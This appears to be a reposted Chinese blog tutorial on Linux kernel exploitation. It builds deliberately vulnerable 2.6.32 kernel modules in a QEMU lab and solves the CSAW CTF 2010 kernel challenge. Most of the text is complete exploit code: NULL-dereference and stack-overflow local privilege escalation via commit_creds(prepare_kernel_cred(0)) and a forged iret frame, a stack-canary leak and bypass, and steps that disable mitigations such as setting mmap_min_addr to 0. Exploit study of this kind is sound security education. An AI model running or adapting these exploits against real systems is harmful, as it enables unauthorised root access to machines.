本文轉載自
Linux核心漏洞利用教程（一）：環境配置
Linux核心漏洞利用教程（二）：兩個Demo
Linux核心漏洞利用教程（三）：實踐CSAW CTF題目
在配置環境的過程中花了很長時間，也遇到了一些文中沒有提到的問題，幸好最後都順利解決了，主要是下面這兩點。


按照文中的步驟搭好了環境放在百度網盤，包括編譯好的開啟CANCRY選項的核心和沒有開啟CANCRY選項的核心。大家可以直接下載使用，免去了搭建環境的煩惱。
點我下載(root的密碼是123)
我就不再說環境怎麼配置了，下面直接進入正題吧。

兩個簡單的kernel exploit

NULL Dereference

漏洞程式碼

#include <linux/init.h>
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/proc_fs.h>
void (*my_funptr)(void);
int bug1_write(struct file *file,const char *buf,unsigned long len)
{
        my_funptr();
        return len;
}
static int __init null_dereference_init(void
 
)
{
        printk(KERN_ALERT "null_dereference driver init!\n");
        create_proc_entry("bug1",0666,0)->write_proc = bug1_write;
       return 0;
}
static void __exit null_dereference_exit(void)
{
        printk(KERN_ALERT "null_dereference driver exit\n");
}
module_init(null_dereference_init);
module_exit(null_dereference_exit);
 

Makefile

obj-m := null_dereference.o  
KERNELDR := ~/linux_kernel/linux-2.6.32.1/linux-2.6.32.1/  
PWD := $(shell pwd)  
modules:  
        $(MAKE) -C $(KERNELDR) M=$(PWD) modules  
moduels_install:  
        $(MAKE) -C $(KERNELDR) M=$(PWD) modules_install  
clean:  
        rm -rf *.o *~ core .depend .*.cmd *.ko *.mod.c .tmp_versions

程式碼中my_funptr函式指標指向不定，可以劫持之後執行程式碼，原理如下圖所示。





把驅動編譯好，然後把*.ko檔案丟進busybox那個檔案系統中去，方便後面掛載使用。
POC

#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/mman.h>
char payload[] = "\xe9\xea\xbe\xad\x0b";//jmp 0xbadbeef
int main(){
    mmap(0, 4096,PROT_READ | PROT_WRITE | PROT_EXEC, MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS ,-1, 0);
    memcpy(0, payload, sizeof(payload));
    int fd = open("/proc/bug1", O_WRONLY);
    write(fd, "muhe", 4);
    return 0;
}

gcc -static poc.c -o poc編譯好之後把程式複製到busybox-1.19.4/_install/usr，生成新的rootfs，啟動系統。啟動的時候按下ctrl+alt+2，然後gdb去連線。


qemu中ctrl+alt+1切換回去，然後進入usr目錄，掛載驅動後執行poc程式。

gdb裡反彙編檢視當前執行的指令。

exploit的思路是利用commit_creds(prepare_kernel_cred(0));給當前程序賦予root許可權，kernel裡面是不能直接執行system("/bin/sh");的。先取得commit_creds和prepare_kernel_cred地址。

編寫shellcode。

得到shellcode。

我們需要分配0地址空間然後放入shellcode，jmp過去執行shellcode，使當前程序有root許可權，然後執行system("/bin/sh");，在程式返回使用者態之後拿到一個root的shell。
EXP

#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/mman.h>
char payload[] = "\x31\xc0\xe8\xb9\x7f\x06\xc1\xe8\x14\x7e\x06\xc1\xc3";
int main()
{
        mmap(0, 4096,PROT_READ | PROT_WRITE | PROT_EXEC, MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS ,-1, 0);
        memcpy(0, payload, sizeof(payload));
        int fd = open("/proc/bug1", O_WRONLY);
        write(fd, "muhe", 4);
        system("/bin/sh");//get root shell
        return 0;
}

新建使用者去測試EXP。

但是得到報錯。

這是因為2.6.32核心已經設定mmap_min_addr為4096作為緩解措施，需要重新設定下mmap_min_addr：sysctl -w vm.mmap_min_addr="0"。重新執行EXP。

成功拿到root shell。

Kernel Stack Overflow

漏洞程式碼

#include <linux/init.h>
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/proc_fs.h>
int bug2_write(struct file *file,const char *buf,unsigned long len)
{
    char localbuf[8];
    memcpy(localbuf,buf,len);
    return len;
}
static int __init stack_smashing_init(void)
{
    printk(KERN_ALERT "stack_smashing driver init!\n");
    create_proc_entry("bug2",0666,0)->write_proc = bug2_write;
    return 0;
}
static void __exit stack_smashing_exit(void)
{
    printk(KERN_ALERT "stack_smashing driver exit!\n");
}
module_init(stack_smashing_init);
module_exit(stack_smashing_exit);

Makefile

obj-m := stack_smashing.o  
KERNELDR := ~/linux_kernel/linux-2.6.32.1/linux-2.6.32.1/
PWD := $(shell pwd)  
modules:  
        $(MAKE) -C $(KERNELDR) M=$(PWD) modules  
moduels_install:  
        $(MAKE) -C $(KERNELDR) M=$(PWD) modules_install  
clean:  
        rm -rf *.o *~ core .depend .*.cmd *.ko *.mod.c .tmp_versions

和使用者態的棧溢位原理一樣，拷貝、拼接字串的時候未作長度檢查，導致覆蓋棧上儲存的返回地址，只後可以劫持程式流程，從而實現程式碼執行的效果。只不過這是在核心空間，可以直接用來提權。
POC

#include <stdio.h>
#include <stdlib.h>
#include <sys/stat.h>
#include <fcntl.h>
int main(){
    char buf[24] = {0};
    memset(buf,"A",24);
    *((void**)(buf + 20)) = 0x42424242;
    int fd = open("/proc/bug2",O_WRONLY);
    write(fd,buf,sizeof(buf));
}

可以看到payload結構很簡單，直接就是buffer+eip。按照前面的步驟編譯POC，然後構建檔案系統，qemu起核心後，執行POC。

我們編譯的kernel預設開啟canary的，如果直接這麼去執行POC，會直接kernel panic，無法利用，所以需要關閉canary選項，重新編譯一個核心。編輯.config檔案，註釋掉CONFIG_CC_STACKPROTECTOR這一行，然後重新編譯核心。

為了方便使用，在我給大家提供的虛擬機器中有兩個編譯好的核心，一個開啟了canary，一個未開啟canary。再起核心跑我們的POC，發現eip被覆蓋成了0x42424242。

模組在編譯後按照上篇文章的方法，丟進busybox，然後qemu起核心然後除錯。由於模組並沒有作為vmlinux的一部分傳給gdb，因此必須通過某種方法把模組資訊告知gdb，可以通過add-symbol-file命令把模組的詳細資訊告知gdb，由於模組也是一個elf檔案，需要知道模組的.text、.bss、.data節區地址並通過add-symbol-file指定。由於stack_smashing模組沒有bss和data節區所以只需要指定text即可。qemu中設定好gdbserver後，找到模組的.text段的地址grep 0 /sys/module/stack_smashing/sections/.text。


執行POC之後發現eip被覆蓋成了預期的值。
EXP
拿到shell的思路還是利用commit_creds(prepare_kernel_cred(0))，然後返回到使用者模式，返回到使用者模式執行iret指令。當使用iret指令返回到相同保護級別的任務時，iret會從堆疊彈出程式碼段選擇子及指令指標分別到CS與IP暫存器，並彈出標誌暫存器內容到EFLAGS暫存器。當使用iret指令返回到一個不同的保護級別時，iret不僅會從堆疊彈出以上內容，還會彈出堆疊段選擇子及堆疊指標分別到SS與SP暫存器。棧上儲存了trap frame，返回到使用者模式的時候恢復資訊從以下結構讀取。

struct trap_frame 
{
    void* eip;                // instruction pointer +0
    uint32_t cs;            // code segment    +4
    uint32_t eflags;        // CPU flags       +8
    void* esp;                // stack pointer       +12
    uint32_t ss;            // stack segment   +16
} __attribute__((packed));

那麼get root shell的思路就是先去執行commit_creds(prepare_kernel_cred(0))，然後返回到使用者模式，執行起shell，也就是說先把當前程序許可權提到root，然後執行起shell操作，那麼我們就可以得到一個root的shell了。

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <string.h>
#include <stdint.h>
struct trap_frame{
    void *eip;
    uint32_t cs;
    uint32_t eflags;
    void *esp;
    uint32_t ss;
}__attribute__((packed));
struct trap_frame tf;
void get_shell(void){
    execl("/bin/sh", "sh", NULL);
}
void init_tf_work(void){
    asm("pushl %cs;popl tf+4;" //set cs
        "pushfl;popl tf+8;"  //set eflags
        "pushl %esp;popl tf+12;"
        "pushl %ss;popl tf+16;");
    tf.eip = &get_shell;
    tf.esp -= 1024;
}
#define KERNCALL __attribute__((regparm(3)))
void* (*prepare_kernel_cred)(void*) KERNCALL = (void*) 0xc1067b20;
void (*commit_creds)(void*) KERNCALL = (void*) 0xc1067980;
void payload(void){
    //payload here    
    commit_creds(prepare_kernel_cred(0));
    asm("mov $tf,%esp;"
       "iret;");
}
int main(void){
    char buf[24];
    memset(buf,0x41,24);
    *((void**)(buf+20)) = &payload; //set eip to payload
    init_tf_work();
    write(1,buf,sizeof(buf));
    int fd = open("/proc/bug2",O_WRONLY);
    //exploit
    write(fd,buf,sizeof(buf));
    return 0;
}

除錯EXP先要確定模組程式碼節地址。

gdb中如圖設定。

然後就可以返回到系統中，執行EXP程式了。對ret指令下斷，然後c過去，這時候單步的話，應該就ret到我們payload的地址了。

檢視一下棧頂的情況。

接下來單步進入我們的payload。

這裡可以看到先去執行commit_creds(prepare_kernel_cred(0))了。

我們主要關注iret。

紅色部分就是我們偽造的tf結構。

這邊可以看到eip指向是我們用來起shell的函式，這樣看來整個payload結構是沒什麼問題的。

成功拿到root shell。

CSAW CTF 2010

漏洞程式碼

/*
 * csaw.c
 * CSAW CTF Challenge Kernel Module
 * Jon Oberheide <[email protected]>
 *
 * This module implements the /proc/csaw interface which can be read
 * and written like a normal file. For example:
 *
 * $ cat /proc/csaw 
 * Welcome to the CSAW CTF challenge. Best of luck!
 * $ echo "Hello World" > /proc/csaw
 */
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/init.h>
#include <linux/proc_fs.h>
#include <linux/string.h>
#include <asm/uaccess.h>
#define MAX_LENGTH 64
MODULE_LICENSE("GPL");
MODULE_AUTHOR("Jon Oberheide");
MODULE_DESCRIPTION("CSAW CTF Challenge Kernel Module");
static struct proc_dir_entry *csaw_proc;
/*
struct proc_dir_entry {
    unsigned short low_ino;
    unsigned short namelen;
    const char *name;
    mode_t mode;
    nlink_t nlink;
    uid_t uid;
    gid_t gid;
    unsigned long size;
    struct inode_operations * proc_iops;
    struct file_operations * proc_fops;
    get_info_t *get_info;
    struct module *owner;
    struct proc_dir_entry *next, *parent, *subdir;
    void *data;
    read_proc_t *read_proc;
    write_proc_t *write_proc;
    atomic_t count;      //use count 
    int deleted;        //delete flag
    kdev_t    rdev;
};
*/
int
csaw_write(struct file *file, const char __user *ubuf, unsigned long count, void *data)
{
    char buf[MAX_LENGTH];
    printk(KERN_INFO "csaw: called csaw_write\n");
    /* 
     * We should be safe to perform this copy from userspace since our 
     * kernel is compiled with CC_STACKPROTECTOR, which includes a canary
     * on the kernel stack to protect against smashing the stack.
     *
     * While the user could easily DoS the kernel, I don't think they
     * should be able to escalate privileges without discovering the 
     * secret stack canary value.
     */
    if (copy_from_user(&buf, ubuf, count)) {
        printk(KERN_INFO "csaw: error copying data from userspace\n");
        return -EFAULT;
    }
    return count;
}
int
csaw_read(char *page, char **start, off_t off, int count, int *eof, void *data)
{
    char buf[MAX_LENGTH];
    printk(KERN_INFO "csaw: called csaw_read\n");
    *eof = 1;
    memset(buf, 0, sizeof(buf));
    strcpy(buf, "Welcome to the CSAW CTF challenge. Best of luck!\n");
    memcpy(page, buf + off, MAX_LENGTH);
    return MAX_LENGTH;
}
static int __init
csaw_init(void)
{
    printk(KERN_INFO "csaw: loading module\n");
    csaw_proc = create_proc_entry("csaw", 0666, NULL);
    csaw_proc->read_proc = csaw_read;
    csaw_proc->write_proc = csaw_write;
    printk(KERN_INFO "csaw: created /proc/csaw entry\n");
    return 0;
}
static void __exit
csaw_exit(void)
{
    if (csaw_proc) {
        remove_proc_entry("csaw", csaw_proc);
    }
    printk(KERN_INFO "csaw: unloading module\n");
}
module_init(csaw_init);
module_exit(csaw_exit);

Makefile

obj-m := csaw.o  
KERNELDR := ~/linux_kernel/linux-2.6.32.1/linux-2.6.32.1/
PWD := $(shell pwd)  
modules:  
        $(MAKE) -C $(KERNELDR) M=$(PWD) modules  
moduels_install:  
        $(MAKE) -C $(KERNELDR) M=$(PWD) modules_install  
clean:  
        rm -rf *.o *~ core .depend .*.cmd *.ko *.mod.c .tmp_versions

首先漏洞點很好找，就是一個簡單粗暴的棧溢位。

int
csaw_write(struct file *file, const char __user *ubuf, unsigned long count, void *data)
{
    char buf[MAX_LENGTH];
    printk(KERN_INFO "csaw: called csaw_write\n");
    /* 
     * We should be safe to perform this copy from userspace since our 
     * kernel is compiled with CC_STACKPROTECTOR, which includes a canary
     * on the kernel stack to protect against smashing the stack.
     *
     * While the user could easily DoS the kernel, I don't think they
     * should be able to escalate privileges without discovering the 
     * secret stack canary value.
     */
    if (copy_from_user(&buf, ubuf, count)) {
        printk(KERN_INFO "csaw: error copying data from userspace\n");
        return -EFAULT;
    }
    return count;
}

這裡從使用者空間做拷貝的時候未作任何check，導致過長的字串可以覆蓋到返回地值，這種情形和前面遇到的情況一樣，但是出題者開啟了kernel CANARY選項，也就是說直接去覆蓋的話會先覆蓋CANARY，然後就會過不了check從而kernel panic。是不是這就沒法玩了呢？一般來說，對於CANARY這種情況，我們採取的策略要麼是leak，要麼就是crack。繼續分析程式碼，看到read部分。

int
csaw_read(char *page, char **start, off_t off, int count, int *eof, void *data)
{
    char buf[MAX_LENGTH];
    printk(KERN_INFO "csaw: called csaw_read\n");
    *eof = 1;
    memset(buf, 0, sizeof(buf));
    strcpy(buf, "Welcome to the CSAW CTF challenge. Best of luck!\n");
    //could leak canary here!!!!
    memcpy(page, buf + off, MAX_LENGTH);
    return MAX_LENGTH;
}

拼接了棧上一個變數，然後拷貝到了使用者空間，而且拷貝的長度很長，這就是出題人故意留下的info leak，好讓我們可以leak CANARY的值。只需要組合payload為junk+CANARY+ebp+payload_addr就可以像之前一樣去get root shell。
POC

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <string.h>
int main(int argc,char *argv[]){
    int fd = open("/proc/csaw",O_RDWR);
    if(!fd){
        printf("error\n");
        exit(1);
    }
    char poc[64];
    memset(poc,0x41,64);
    printf("Triger bug:\n");
    write(fd,poc,64);
    return 0;
}

POC的程式碼很簡單，直接觸發漏洞就可以，但是這種直接就kernel panic的。下面我們寫一個程式dump出CANARY的值。

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <string.h>
int main(int argc,char *argv[]){
    int fd = open("/proc/csaw",O_RDWR);
    if(!fd){
        printf("error\n");
        exit(1);
    }
    lseek(fd,16,SEEK_CUR);
    char buffer[64] = {0};
    read(fd,buffer,64);
    int i,j;
   // memset(buffer,0x41,64);
    for(i = 0;i<4;i++){
        for(j = 0;j<16;j++){
            printf("%02x ",buffer[i*16+j] & 0xff);
        }
        printf(" | ");
        for(j = 0;j<16;j++){
            printf("%c",buffer[i*16+j] & 0xff);
        }
        printf("\n");
    }
    char canary[4] = {0};
    memcpy(canary,buffer+32,4);
    printf("CANARY:");
    for(i = 0;i<4;i++){
        printf("%02x",canary[i] & 0xff);
    }
    printf("\n");
    return 0;
}

還和之前一樣，編譯後，丟進busybox檔案系統，qemu起系統，之後測試我們的dump程式是否工作正常。

我們的程式可以正常dump出CANARY的值，那麼下面的工作就很簡單了，直接可以利用這個leak，構造payload去拿root shell了。
EXP

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <string.h>
#include <stdint.h>
struct trap_frame{
    void *eip;
    uint32_t cs;
    uint32_t eflags;
    void *esp;
    uint32_t ss;
}__attribute__((packed));
void launch_shell(void) 
{ 
    execl("/bin/sh", "sh", NULL);
}
struct trap_frame tf;
void prepare_tf(void) 
{ 
    asm("pushl %cs; popl tf+4;"
        "pushfl; popl tf+8;"
        "pushl %esp; popl tf+12;"
        "pushl %ss; popl tf+16;");
    tf.eip = &launch_shell;
    tf.esp -= 1024;
}
#define KERNCALL __attribute__((regparm(3)))
void* (*prepare_kernel_cred)(void*) KERNCALL = (void*) 0xc1067fc0;
void (*commit_creds)(void*) KERNCALL = (void*) 0xc1067e20;
void payload(void){
    //payload here    
    commit_creds(prepare_kernel_cred(0));
    asm("mov $tf,%esp;"
       "iret;");
}
int main(int argc,char *argv[]){
    int fd = open("/proc/csaw",O_RDWR);
    if(!fd){
        printf("error\n");
        exit(1);
    }
    lseek(fd,16,SEEK_CUR);
    char buffer[64] = {0};
    read(fd,buffer,64);
    int i,j;
    //memset(buffer,0x41,64);
    for(i = 0;i<4;i++){
        for(j = 0;j<16;j++){
            printf("%02x ",buffer[i*16+j] & 0xff);
        }
        printf(" | ");
        for(j = 0;j<16;j++){
            printf("%c",buffer[i*16+j] & 0xff);
        }
        printf("\n");
    }
    char canary[4] = {0};
    memcpy(canary,buffer+32,4);
    printf("CANARY:");
    for(i = 0;i<4;i++){
        printf("%02x",canary[i] & 0xff);
    }
    printf("\n");
    char poc[84] = {0};
    memset(poc,0x41,76);
    memcpy(poc+64,canary,4);//set canary
    *((void**)(poc+64+4+4)) = &payload;
    printf("[*]payload:%s\n",poc);
    printf("Triger bug:\n");
    //init tf struct;
    prepare_tf();
    write(fd,poc,76);
    return 0;
}

還是像之前一樣，設定gdbserver，並且把csaw.ko這個模組的資訊傳遞給gdb。先確定模組程式碼節地址。

這一步之後gdbserver連線，新增symbol-file之後，對有漏洞的函式下斷，就可以回到qemu中，啟用exploit程式了。

對ret的地方下斷點，然後c過去。

檢視一下棧頂的情況。

出問題了，並沒有要ret到payload地址去。既然已經ret不到payload地址上，那麼需要往前找一找，單步一下看看棧頂的變化，找出造成這種情況的原因。

直接對這個平衡棧的指令下斷，然後c，qemu裡再次跑一下exploit程式。

這個時候檢視棧頂。

我們的payload是在棧中的，看看執行完了add指令之後的情況。

在執行了三條pop指令後payload地址會被彈到esi中去，那麼後面ret返回的時候，就直接返回到0xc114396c這個地址去了。解決方法是在後面新增junk位元組，大概把payload結構調整成junk+CANARY+ebp+pl_addr+pl_addr+pl_addr。

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <string.h>
#include <stdint.h>
struct trap_frame{
    void *eip;
    uint32_t cs;
    uint32_t eflags;
    void *esp;
    uint32_t ss;
}__attribute__((packed));
void launch_shell(void) 
{ 
    execl("/bin/sh", "sh", NULL);
}
struct trap_frame tf;
void prepare_tf(void) 
{ 
    asm("pushl %cs; popl tf+4;"
        "pushfl; popl tf+8;"
        "pushl %esp; popl tf+12;"
        "pushl %ss; popl tf+16;");
    tf.eip = &launch_shell;
    tf.esp -= 1024;
}
#define KERNCALL __attribute__((regparm(3)))
void* (*prepare_kernel_cred)(void*) KERNCALL = (void*) 0xc1067fc0;
void (*commit_creds)(void*) KERNCALL = (void*) 0xc1067e20;
void payload(void){
    //payload here    
    commit_creds(prepare_kernel_cred(0));
    asm("mov $tf,%esp;"
       "iret;");
}
int main(int argc,char *argv[]){
    int fd = open("/proc/csaw",O_RDWR);
    if(!fd){
        printf("error\n");
        exit(1);
    }
    lseek(fd,16,SEEK_CUR);
    char buffer[64] = {0};
    read(fd,buffer,64);
    int i,j;
    //memset(buffer,0x41,64);
    for(i = 0;i<4;i++){
        for(j = 0;j<16;j++){
            printf("%02x ",buffer[i*16+j] & 0xff);
        }
        printf(" | ");
        for(j = 0;j<16;j++){
            printf("%c",buffer[i*16+j] & 0xff);
        }
        printf("\n");
    }
    char canary[4] = {0};
    memcpy(canary,buffer+32,4);
    printf("CANARY:");
    for(i = 0;i<4;i++){
        printf("%02x",canary[i] & 0xff);
    }
    printf("\n");
    char poc[84] = {0};
    memset(poc,0x41,84);
    memcpy(poc+64,canary,4);//set canary
    *((void**)(poc+64+4+4)) = &payload;
    *((void**)(poc+64+4+4+4)) = &payload;
    *((void**)(poc+64+4+4+4+4)) = &payload;
    printf("[*]payload:%s\n",poc);
    printf("Triger bug:\n");
    //init tf struct;
    prepare_tf();
    write(fd,poc,84);
    return 0;
}

編譯執行exploit_final，除錯檢視執行過程。

檢視棧頂，發現是我們payload的地址，單步過去檢視。

先去執行commit_creds(prepare_kernel_cred(0))，然後我們檢視一下偽造的tf結構。

看一下tf.eip指向的函式。

和exploit_final的get shell函式對比一下。

沒什麼問題，我們直接c過去。

新增普通使用者muhe，然後測試EXP。

成功拿到root shell。